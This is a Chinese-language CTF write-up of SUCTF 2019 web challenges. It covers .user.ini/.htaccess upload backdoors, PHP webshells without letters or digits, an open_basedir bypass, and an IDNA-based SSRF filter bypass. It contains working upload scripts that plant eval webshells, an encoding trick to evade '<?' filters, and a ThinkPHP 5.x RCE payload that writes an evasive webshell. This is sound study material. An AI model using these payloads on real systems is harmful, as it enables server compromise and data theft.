Suctf知識記錄&&PHP代碼審計,無字母數字webshell&&open_basedir繞過&&waf+idna+pythonssrf+nginx


Checkin

 .user.ini構成php后門利用,設置auto_prepend_file=01.jpg,自動在文件前包含了01.jpg,利用.user.ini和圖片馬實現文件包含+圖片馬的利用.

而.htacess構造后門是通過上傳.htaccess設置AddType application/x-httpd-php .jpg,將jpg文件作為php解析,getshell

補上腳本:

修改下與easyphp中的可以通用

import requests
import base64

url = "http://47.111.59.243:9021/"


userini = b"""\x00\x00\x8a\x39\x8a\x39
auto_prepend_file = cc.jpg
"""

#shell = b"\x00\x00\x8a\x39\x8a\x39"+b"00"+ base64.b64encode(b"<?php eval($_GET['c']);?>")
shell =  b"\x00\x00\x8a\x39\x8a\x39"+b"00" + "<script language='php'>eval($_REQUEST[c]);</script>"

files = [('fileUpload',('.user.ini',userini,'image/jpeg'))]

data = {"upload":"Submit"}

proxies = {"http":"http://127.0.0.1:8080"}
print("upload .user.ini")
r = requests.post(url=url, data=data, files=files)#proxies=proxies)

print(r.text) 

print("upload cc.jpg")

files = [('fileUpload',('cc.jpg',shell,'image/jpeg'))]
r = requests.post(url=url, data=data, files=files)
print(r.text)  

來自於博客https://www.jianshu.com/p/fbfeeb43ace2

Easyphp

通過陸隊的文章,了解了一些php代碼審計的東西。

ISITDTU CTF 2019 EasyPHP

代碼如下:

<?php
highlight_file(__FILE__); $_ = @$_GET['_']; if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $_) ) die('rosé will not do it'); if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd ) die('you are so close, omg'); eval($_); ?>

正則匹配了一些字母和數字還有一些特殊符號。並且strlen(count_chars(strtolower($_), 0x3)) > 0xd 獲取字符中的不同字符數量是否大於13.因此需要構造繞過正則並且不同字符的數量<=13個

博主這里提供了一個方法,讓我感覺特別的受益=>通過腳本檢測可以用的內置函數來尋找可利用的點。(可惜沒有easyphp的docker環境)

貼上腳本:

<?php 
$arr = get_defined_functions()['internal']; foreach ($arr as $key => $value) { if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $value) ){ unset($arr[$key]); continue; } if ( strlen(count_chars(strtolower($value), 0x3)) > 0xd ){ unset($arr[$key]); continue; } } var_dump($arr); ?>
array(15) {
  [57]=>
  string(5) "bcmul"
  [329]=>
  string(5) "rtrim"
  [335]=>
  string(4) "trim"
  [336]=>
  string(5) "ltrim"
  [346]=>
  string(3) "chr"
  [370]=>
  string(4) "link"
  [371]=>
  string(6) "unlink"
  [413]=>
  string(3) "tan"
  [416]=>
  string(4) "atan"
  [417]=>
  string(5) "atanh"
  [421]=>
  string(4) "tanh"
  [521]=>
  string(6) "intval"
  [665]=>
  string(4) "mail"
  [706]=>
  string(3) "min"
  [707]=>
  string(3) "max"
} 

有幾個常見的參數chr,trim,intval

bool型轉數字chr.拼接

這里首先的思路是通過!,轉變為bool型,然后通過加法使bool型轉化為數字型,再chr為字符,通過.連接組成phpinfo()

php > var_dump(!a);
PHP Notice:  Use of undefined constant a - assumed 'a' in php shell code on line 1 bool(false) php > var_dump(!!a); PHP Notice: Use of undefined constant a - assumed 'a' in php shell code on line 1 bool(true)

在添加一個@忽略錯誤

<?php
var_dump(@a);        //string(1) "a"
var_dump(!@a);    //bool(false)
var_dump(!!@a);    //bool(true)

使用加法,會轉化為數字型

<?php
var_dump(!!@a + !!@a);    //int(2) 1+1
var_dump((!!@a + !!@a) * (!!@a + !!@a + !!@a + !!@a));    //int(6) (1+1)*(1+1+0+1)

使用chr轉化為字符,.號拼接成phpinfo(),利用**次方運算快捷。

(chr((!!@a + !!@a) ** (!!@a + !!@a + !!@a + !!@a + !!@a + !!@a + !!@a) - (!!@a + !!@a) ** (!!@a + !!@a  + !!@a + !!@a))
.chr((!!@a + !!@a) ** (!!@a + !!@a + !!@a + !!@a + !!@a + !!@a + !!@a) - (!!@a + !!@a + !!@a + !!@a ) * (!!@a + !!@a  + !!@a + !!@a + !!@a  + !!@a )) .chr((!!@a + !!@a) ** (!!@a + !!@a + !!@a + !!@a + !!@a + !!@a + !!@a) - (!!@a + !!@a) ** (!!@a + !!@a + !!@a + !!@a)) .chr((!!@a + !!@a) ** (!!@a + !!@a + !!@a + !!@a + !!@a + !!@a + !!@a) - (!!@a + !!@a + !!@a + !!@a ) * (!!@a + !!@a + !!@a + !!@a + !!@a + !!@a ) + !!@a) .chr((!!@a + !!@a) ** (!!@a + !!@a + !!@a + !!@a + !!@a + !!@a + !!@a) - (!!@a + !!@a) * ((!!@a + !!@a + !!@a) ** (!!@a + !!@a) )) .chr((!!@a + !!@a) ** (!!@a + !!@a + !!@a + !!@a + !!@a + !!@a + !!@a) - (!!@a + !!@a + !!@a + !!@a ) * (!!@a + !!@a + !!@a + !!@a + !!@a + !!@a ) - !!@a - !!@a) .chr((!!@a + !!@a) ** (!!@a + !!@a + !!@a + !!@a + !!@a + !!@a + !!@a) - (!!@a + !!@a) ** (!!@a + !!@a + !!@a + !!@a) - !!@a))();

字符:!()*+-.;@achr

但是這里需要用.來連接,已經已經過濾了.,並且不同字符有16個,長度也不行。所以這個思路out。

 

 

單異或

['!', '%', '+', '-', '*', '/', '>', '<', '?', '=', ':', '@', '^']

還有這些字符可以使用,其中很常見的是^,異或再很多時候都能用來繞過。以前我也見過此類的一句話馬,還收集了幾個,就是通過異或產生需要的字符.

<?php
$number='1'; $strings='phpinfo()'; $a=''; $strings=str_split($strings); foreach ($strings as $value) { if(ord($number^$value)<127&&ord($number^$value)>32) { echo $value.":".($number^$value)."\n"; } } ?>

p:A
h:Y
p:A
i:X
n:_
f:W
o:^

發現_被過濾了,因此隨機異或一個,n^4=Z,o^5=Z

這里可以用trim將int型轉化為string型

<?php
var_dump(trim(1));
?>
string(1) "1"

因此得到payload:

var_dump(
    trim(
        (!!@a + !!@a + !!@a + !!@a + !!@a) *
        ((!!@a + !!@a) ** (!!@a + !!@a + !!@a + !!@a + !!@a + !!@a + !!@a) + (!!@a + !!@a) ** (!!@a + !!@a + !!@a + !!@a + !!@a + !!@a) + !!@a + !!@a + !!@a + !!@a + !!@a + !!@a + !!@a) *
        ((!!@a + !!@a) ** (!!@a + !!@a + !!@a + !!@a + !!@a + !!@a + !!@a + !!@a+ !!@a+ !!@a) + (!!@a + !!@a) ** (!!@a + !!@a + !!@a + !!@a + !!@a + !!@a + !!@a ) - (!!@a + !!@a) ** (!!@a + !!@a + !!@a + !!@a + !!@a) - !!@a - !!@a- !!@a)
    ) ^ @AYAXZWZ
);//phpinfo

一共使用了21個字符,太多了。還需要減少使用字符數量。

通過異或查找一些相同的數字字符找出來組一起

p: |A ^ 1|B ^ 2|C ^ 3|H ^ 8|I ^ 9|
h: |Q ^ 9|X ^ 0|Y ^ 1|Z ^ 2|
p: |A ^ 1|B ^ 2|C ^ 3|H ^ 8|I ^ 9|
i: |Q ^ 8|X ^ 1|Y ^ 0|Z ^ 3|
n: |V ^ 8|W ^ 9|X ^ 6|Y ^ 7|Z ^ 4|
f: |Q ^ 7|R ^ 4|T ^ 2|U ^ 3|V ^ 0|W ^ 1|
o: |V ^ 9|W ^ 8|X ^ 7|Y ^ 6|Z ^ 5|

payload:

(AYAYYRY^trim(((((!!a+!!a))**((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)))+(((!!a+!!a))**((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)))+(((!!a+!!a))**((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)))+(((!!a+!!a))**((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)))+(((!!a+!!a))**((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)))+(((!!a+!!a))**((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)))+(((!!a+!!a))**((!!a+!!a+!!a+!!a+!!a+!!a+!!a)))+(((!!a+!!a))**((!!a+!!a+!!a+!!a+!!a+!!a)))+(((!!a+!!a))**((!!a+!!a+!!a+!!a)))+(((!!a+!!a))**((!!a+!!a+!!a)))+(((!!a+!!a))**((!!a))))))();

 正好使用了13個字符ARYtim!(+×);

####有無注意上面的是php版本,並且是(phpinfo)();執行的phpinfo。P神的無字母數字webshell中有提到過PHP7的新特性,PHP7前無法使用如此執行動態函數。(這樣的payload有php版本限制)

 

多次異或

首先多字符異或,是按順序一個一個字符異或。

(qiqhnin^iiiiibi^hhhhimh)();//phpinfo();
('1111111'^'4444444'^'umulkcj')(); //phpinfo()  無法繞過,自己的嘗試,需要全部用字符串,get接收默認是字符串類型

經過兩次異或得到(phpinfo)();

只用了10個字符

 

 

 十六進制異或

我們還可以用16進制異或來進行字符操作

print_r ^ 0xff -> 0x8f8d96918ba08d -> ((%ff%ff%ff%ff%ff%ff%ff)^(%8f%8d%96%91%8b%a0%8d))
scandir ^ 0xff -> 0x8c9c9e919b968d -> ((%ff%ff%ff%ff%ff%ff%ff)^(%8c%9c%9e%91%9b%96%8d)) . ^ 0xff -> 0xd1 -> ((%ff)^(%d1))

當然也可以不使用 0xff ,使用以下 payload 就可以在沒有字符限制的時候進行列目錄了:

((%ff%ff%ff%ff%ff%ff%ff)^(%8f%8d%96%91%8b%a0%8d))(((%ff%ff%ff%ff%ff%ff%ff)^(%8c%9c%9e%91%9b%96%8d))(((%ff)^(%d1))));

 

<?php
$a='print_r'; for($i=0;$i<strlen($a);$i++) { echo '%'.dechex((ord(chr(0xff)^$a[$i]))); } ?>
%8f%8d%96%91%8b%a0%8d

測試發現,只有當php7時才可以。

 

取反

這里引用了P神的無字母數字webshell之提高篇,中的取反操作。

echo urlencode(~'phpinfo');
%8F%97%8F%96%91%99%90  

由於php7中允許(phpinfo)()這樣的形式。因此也可以直接繞過

payload=(~%8F%97%8F%96%91%99%90)();

  

 

 

上面的payload幾乎都是php7下的(phpinfo)()這樣格式執行的。

 

原題中:使用了這樣的payload =>getshell,利用的是十六進制異或並且urlencode,將0x轉化為%

${%A0%B8%BA%AB^%ff%ff%ff%ff}{%A0}();&%A0=get_the_flag

注:

 

這個payload,+=eval的時候是無法執行的。雖然PHP支持``變量函數(variable-functions)``:通過變量保存一個函數的名字,然后在其后附上一對小括號的形式即可完成對函數的調用。但是eval 屬於PHP語法構造的一部分,並不是一個函數,所以不能通過 變量函數 的形式來調用(雖然她確實像極了函數原型)

這樣的語法構造還包括:echo,print,unset(),isset(),empty(),include,require,...

 

CTF 群里有人發的WEB題目

<?php
error_reporting(E_ALL^E_NOTICE^E_WARNING); function GetYourFlag(){ echo file_get_contents("./flag.php"); } if(isset($_GET['code'])){ $code = $_GET['code']; //print(strlen($code)); if(strlen($code)>27){ die("Too Long."); } if(preg_match('/[a-zA-Z0-9_&^<>"\']+/',$_GET['code'])) { die("Not Allowed."); } @eval($_GET['code']); }else{ highlight_file(__FILE__); } ?>

 

最近接觸了很多這樣的文章和題目,比如P神的無字母webshell或者陸隊smile師傅的心得

 

這里我截取P神的文章

 

 PHP7前是不允許用($a)();這樣的方法來執行動態函數的,但PHP7中增加了對此的支持。所以,我們可以通過('phpinfo')();來執行函數,第一個括號中可以是任意PHP表達式。

<?php 
echo urlencode(~('phpinfo'));
?>
%8F%97%8F%96%91%99%90

取反嘗試:

 

 

<?php 
echo urlencode(~('GetYourFlag'));
?>

getflag

 

 

Suctf中的正則

 

 

可以執行的payload:

${"`{{{"^"?<>/"}['+']();&+=get_the_flag

因為${}中的代碼是可以執行的

而字符串拼接成的不具有函數的執行特性

<?php 
$_GET['a']='woaini';
$a="`{{{"^"?<>/";
$b='$'.$a.'["a"]';
echo $b;
?>
$_GET["a"] 

而${}

<?php 
$_GET['a']='woaini';
var_dump(${"`{{{"^"?<>/"});
?>

array(1) {
["a"]=>
string(6) "woaini"
}

${}像可變變量一樣的方式。

 

免殺馬

今天看到先知社區的一篇文章https://xz.aliyun.com/t/6267,文章中有提到利用TP5.x RCE的一個免殺馬,其實就是上面題目中的知識產物

s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=@file_put_contents(base64_decode(MTI1ODQucGhw),base64_decode(b2suPD9waHAgJHsiYHt7eyJeIj88Pi8ifVthXSgkX1BPU1RbeF0pOzs7))
ok.<?php ${"`{{{"^"?<>/"}[a]($_POST[x]);;;

利用了call_user_func_array回調函數,將assert作為函數,后面的@file_put_contents作為函數里的參數。因此成功寫入。

<?php ${"`{{{"^"?<>/"}['a']($_POST['x']);  

可以給a傳值為assert,x傳值為eval(rce)來獲得馬兒的效果.

 

Easyweb復現

復現環境:buuctf

考點:

Php的經典特性“Use of undefined constant”,會將代碼中沒有引號的字符都自動作為字符串,7.2開始提出要被廢棄,不過目前還存在着。

Ascii碼大於 0x7F 的字符都會被當作字符串,而和 0xFF 異或相當於取反,可以繞過被過濾的取反符號。

因此可以以異或的方式

?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo
?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=get_the_flag

源代碼:

<?php
function get_the_flag(){
    // webadmin will remove your upload file every 20 min!!!! 
    $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
    if(!file_exists($userdir)){
    mkdir($userdir);
    }
    if(!empty($_FILES["file"])){
        $tmp_name = $_FILES["file"]["tmp_name"];
        $name = $_FILES["file"]["name"];
        $extension = substr($name, strrpos($name,".")+1);
    if(preg_match("/ph/i",$extension)) die("^_^"); 
        if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
    if(!exif_imagetype($tmp_name)) die("^_^"); 
        $path= $userdir."/".$name;
        @move_uploaded_file($tmp_name, $path);
        print_r($path);
    }
}

$hhh = @$_GET['_'];

if (!$hhh){
    highlight_file(__FILE__);
}

if(strlen($hhh)>18){
    die('One inch long, one inch strong!');
}

if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
    die('Try something else!');

$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");

eval($hhh);
?> 

就是easyphp后續,將整個復現完成。

這次通過十六進制異或來完成

php腳本:

<?php

for($i=0;$i<255;$i++){
 $t = chr($i)^chr(255);
 if($t == $argv[1]){
  echo dechex($i);
  break;
 }
}  

獲得異或字符:

%A0%B8%BA%AB^%FF%FF%FF%FF

檢測payload:

?_=${%A0%B8%BA%AB^%FF%FF%FF%FF}{%FF}();&%FF=phpinfo

傳入get_the_flag然后上傳文件

我們看到這里是apache,我們可以上傳文件,再通過.htaccess來改變解析,使自定義后綴解析為php。

這里的繞過參照checkin,文件頭繞過exif_imagetype

但是最難過的是對<?的過濾

if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");  

這里我提供兩種方法(均參照大佬博客)

第一種

通過編碼繞過<?的過濾,此處為De1ta的腳本

SIZE_HEADER = b"\n\n#define width 1337\n#define height 1337\n\n"

def generate_php_file(filename, script):
    phpfile = open(filename, 'wb')

    phpfile.write(script.encode('utf-16be')) //以utf-16be的編碼方式繞過<?
    phpfile.write(SIZE_HEADER)

    phpfile.close()

def generate_htacess():
    htaccess = open('.htaccess', 'wb')

    htaccess.write(SIZE_HEADER)
    htaccess.write(b'AddType application/x-httpd-php .south\n')
    htaccess.write(b'php_value zend.multibyte 1\n')   //啟用多字節編碼的源文件解析
    htaccess.write(b'php_value zend.detect_unicode 1\n')
    htaccess.write(b'php_value display_errors 1\n')

    htaccess.close()

generate_htacess()
generate_php_file("webshell.south", "<?php eval($_GET['cmd']); die(); ?>")

 

通過不同的編碼繞過<?的過濾

這里再說一下mb_strops和strops的區別

strpos()返回的按字節返回的位置,mb_strpos()是按字數返回的位置

<?php
header("Content–type:text/html;chartset=utf-8"); 
$str = '飛鳥慕魚博客feiniaomy.com';
echo strpos($str,'博客');
echo '<br/>';
echo mb_strpos($str,'博客');
?>

輸出結果:12  4

1. strpos()按字節返回,一個漢字三個字節,並從0開始,所以為12 

2. mb_strpos()按字數返回,並從0開始的,所以返回的是4 

第二種

來此於博客,這個腳本可以直接修改下,運用到checkin

import requests
import base64

url = "http://47.111.59.243:9001/?_=${%fe%fe%fe%fe^%a1%b9%bb%aa}{%fe}();&%fe=get_the_flag"


htaccess = b"""\x00\x00\x8a\x39\x8a\x39
AddType application/x-httpd-php .cc
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_95edeac63aff85469e0ebd216f87ce5a/shell.cc"

"""

shell = b"\x00\x00\x8a\x39\x8a\x39"+b"00"+ base64.b64encode(b"<?php eval($_GET['c']);?>")
#shell = b"\x00\x00\x8a\x39\x8a\x39"+b"00"+ b"<script language='php'>eval($_REQUEST[c]);</script>"

files = [('file',('.htaccess',htaccess,'image/jpeg'))]

data = {"upload":"Submit"}

proxies = {"http":"http://127.0.0.1:8080"}
r = requests.post(url=url, data=data, files=files)#proxies=proxies)
print(r.text) 


files = [('file',('shell.cc',shell,'image/jpeg'))]
r = requests.post(url=url, data=data, files=files)
print(r.text)

這里運用了auto_append_file這個設置,自動包含文件,並且結合php://filter偽協議讀取文件,base64解碼包含shell

這里我用第二種方法來嘗試包含,先獲得文件夾名

 

 修改下腳本然后upload

 

包含成功蟻劍連接不上,估計禁用了某些函數,查看disable_functions函數

 

並且有open_basedir的限制,php腳本執行限制在了/html目錄和/tmp目錄。

如果想要理解的更加透徹的話,建議了解下一葉飄零師傅的文章從PHP底層看open_basedir bypass

這里我直接上繞過open_basedir的payload:

mkdir('yunying');chdir('yunying');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(scandir('/'))
http://a058c48b-66df-4ef9-aaa8-a4b19144426c.node3.buuoj.cn/upload/tmp_adeee0c170ad4ffb110df0cde294aecd/shell.cc?c=mkdir('yunying');chdir('yunying');ini_set(%27open_basedir%27,%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);ini_set(%27open_basedir%27,%27/%27);print_r(scandir(%27/%27));

最后直接讀取flag

http://a058c48b-66df-4ef9-aaa8-a4b19144426c.node3.buuoj.cn/upload/tmp_adeee0c170ad4ffb110df0cde294aecd/shell.cc?c=ini_set(%27open_basedir%27,%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);ini_set(%27open_basedir%27,%27/%27);print_r(file_get_contents(%27/THis_Is_tHe_F14g%27));

Pythonginx

進入題目看到部分源碼

        @app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
    url = request.args.get("url")
    host = parse.urlparse(url).hostname
    if host == 'suctf.cc':
        return "我扌 your problem? 111"
    parts = list(urlsplit(url))
    host = parts[1]
    if host == 'suctf.cc':
        return "我扌 your problem? 222 " + host
    newhost = []
    for h in host.split('.'):
        newhost.append(h.encode('idna').decode('utf-8'))
    parts[1] = '.'.join(newhost)
    #去掉 url 中的空格
    finalUrl = urlunsplit(parts).split(' ')[0]
    host = parse.urlparse(finalUrl).hostname
    if host == 'suctf.cc':
        return urllib.request.urlopen(finalUrl).read()
    else:
        return "我扌 your problem? 333"
    </code>
    <!-- Dont worry about the suctf.cc. Go on! -->
    <!-- Do you know the nginx? -->  

看到提示,應該是要求繞過waf,通過ssrf讀到文件

前兩個不能為suctf.cc,但是最后一個host必須為suctf.cc才能去請求。

本來想把flask學的差不多再來,發現沒有必要。

這里詳細解釋下源代碼

parse.urlparse

urllib.parse.urlparse(urlstring,scheme ='',allow_fragments = True )

將URL解析為六個組件,返回一個6個元素的元組,對應URL的一般結構

scheme://netloc/path;parameters?query#fragment 

類似於php中的parse_url

>>> from urllib.parse import urlparse
>>> o = urlparse('http://www.cwi.nl:80/%7Eguido/Python.html')
>>> o
ParseResult(scheme='http', netloc='www.cwi.nl:80', path='/%7Eguido/Python.html', params='', query='', fragment='')
>>> o.scheme
'http'
>>> o.port
80
>>> o.geturl()
'http://www.cwi.nl:80/%7Eguido/Python.html'

parse.urlsplit

urllib.parse.urlsplit(urlstring, scheme='', allow_fragments=True)

這類似於urlparse(),但不會從URL中分割參數。如果需要將允許參數應用於URL路徑部分的每個段的最新URL語法(請參閱RFC 2396),則通常應該使用該方法而不是urlparse()。需要一個單獨的函數來分離路徑段和參數。這個函數返回5個(對比 urlparse沒有params)元素的元組:

(addressing scheme, network location, path, query, fragment identifier)  

 

題目中需要繞過parse.urlparse(url).hostname和urlsplit(url),hostname不能為suctf.cc,但是最后又需要hostname=suctf.cc才可以讀取。

兩個的區別

# -*- coding: utf-8 -*-

from urllib.parse import urlsplit, urlparse

url = "https://username:password@www.baidu.com:80/index.html;parameters?name=tom#example"

print(urlsplit(url))
"""
SplitResult(
    scheme='https', 
    netloc='username:password@www.baidu.com:80', 
    path='/index.html;parameters', 
    query='name=tom', 
    fragment='example')
"""

print(urlparse(url))
"""
ParseResult(
    scheme='https', 
    netloc='username:password@www.baidu.com:80', 
    path='/index.html', 
    params='parameters', 
    query='name=tom', 
    fragment='example'
)
"""  

很有意思的是中途進行了一次編碼解碼,h.encode('idna').decode('utf-8')

這里涉及到blackhat的議題(看WP才知道,哇這是怎么知道的呢。是不是google了一下上面這段編碼的代碼)

ppt

既然php有fuzz,python也可以fuzz,附上De1ta的fuzz腳本

from urllib.parse import urlparse,urlunsplit,urlsplit
from urllib import parse
def get_unicode():
    for x in range(65536):
        uni=chr(x)
        url="http://suctf.c{}".format(uni)
        try:
            if getUrl(url):
                print("str: "+uni+' unicode: \\u'+str(hex(x))[2:])
        except:
            pass


def getUrl(url):
    url = url
    host = parse.urlparse(url).hostname
    if host == 'suctf.cc':
        return False
    parts = list(urlsplit(url))
    host = parts[1]
    if host == 'suctf.cc':
        return False
    newhost = []
    for h in host.split('.'):
        newhost.append(h.encode('idna').decode('utf-8'))
    parts[1] = '.'.join(newhost)
    finalUrl = urlunsplit(parts).split(' ')[0]
    host = parse.urlparse(finalUrl).hostname
    if host == 'suctf.cc':
        return True
    else:
        return False

if __name__=="__main__":
    get_unicode()

任意一個都可以 。這里很像很久以前我把P神的XCTF兩個題目代碼審計的文章,總有些編碼字符問題能夠逃過限制。

為什么這樣fuzz,涉及到unicode萬國碼,unicode碼位0~65535,共65536個  

呢么我們嘗試去讀取/etc/passwd,有師傅可能會跑偏,也可能我想的不是太多,默認了hosts 本地綁定了suctf.cc,因此無需去關注這個域名。

str: ℂ unicode: \u2102  
str: ℅ unicode: \u2105   
str: ℆ unicode: \u2106
str: ℭ unicode: \u212d
str: Ⅽ unicode: \u216d
str: ⅽ unicode: \u217d
str: Ⓒ unicode: \u24b8
str: ⓒ unicode: \u24d2
str: C unicode: \uff23
str: c unicode: \uff43

這里我全部嘗試了一遍,發現2和3不能直接使用,buuctf里是這樣的。照理說是可以的,因為用的是fuzz腳本,應該是通過。

但是發現用官方解中的℆sr確實可以,單用的話,2和3無法單用,其他的可以直接單用。

在de1ta的腳本中的圖是這樣的,正好缺少這兩個,但是我用py3.7跑的,確實會出現這樣兩個。

 

接下來就設計到Nginx的敏感路徑問題,這里收集下Nginx的路徑。

  • 配置文件存放目錄:/etc/nginx
  • 主配置文件:/etc/nginx/conf/nginx.conf   /etc/nginx/conf.d/nginx.conf  /usr/local/nginx/conf/nginx.conf
  • 管理腳本:/usr/lib64/systemd/system/nginx.service
  • 模塊:/usr/lisb64/nginx/modules
  • 應用程序:/usr/sbin/nginx
  • 程序默認存放位置:/usr/share/nginx/html
  • 日志默認存放位置:/var/log/nginx

嘗試去讀取/etc/nginx/conf/nginx.conf 沒讀到。看wp發現是去讀/usr/local/nginx/conf/nginx.conf這個配置文件,放在用戶的nginx目錄中

 

其實這道題,對於第三種的一個細節一定要注意encode('idna')就應該引起注意,為什么會突然編碼又解碼了一次。github源碼一搜就可以搜到一些神奇的東西。

什么是IDN?
國際化域名(Internationalized Domain Name,IDN)又名特殊字符域名,是指部分或完全使用特殊文字或字母組成的互聯網域名,包括中文、發育、阿拉伯語、希伯來語或拉丁字母等非英文字母,這些文字經過多字節萬國碼編碼而成。在域名系統中,國際化域名使用punycode轉寫並以ASCII字符串存儲。

什么是idna?
A library to support the Internationalised Domain Names in Applications (IDNA) protocol as specified in RFC 5891. This version of the protocol is often referred to as “IDNA2008” and can produce different results from the earlier standard from 2003.
>>> import idna
>>> print(idna.encode(u'ドメイン.テスト'))
結果:xn--eckwd4c7c.xn--zckzah
>>> print idna.decode('xn--eckwd4c7c.xn--zckzah')
結果:ドメイン.テスト

Demo:
℆這個字符,如果使用python3進行idna編碼的話
print('℆'.encode('idna'))
結果
b'c/u'
如果再使用utf-8進行解碼的話
print(b'c/u'.decode('utf-8'))
結果
c/u
通過這種方法可以繞過網站的一些過濾字符

從這里也可以看到為什么wp中用℆sr了,因為encode('idna').decode('utf-8')后,變成了c/u,所以直接連接成/usr/flag的路徑

對於我為什么跑腳本跑出了這個,應該沒跑出這兩個才對,我跑出來的應該是能直接用來,而不是需要拼接的。

挺蛋疼的。

 

 

 

 

恰好看到了一篇.htaccess的tricks總結,也一同附上

https://www.cnblogs.com/20175211lyz/p/11741348.html

學習資料;

陸隊,smile師傅,p牛

https://blog.zeddyu.info/2019/07/20/isitdtu-2019/

https://www.smi1e.top/php%E4%B8%8D%E4%BD%BF%E7%94%A8%E6%95%B0%E5%AD%97%E5%AD%97%E6%AF%8D%E5%92%8C%E4%B8%8B%E5%88%92%E7%BA%BF%E5%86%99shell/

https://www.leavesongs.com/penetration/webshell-without-alphanum.html


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM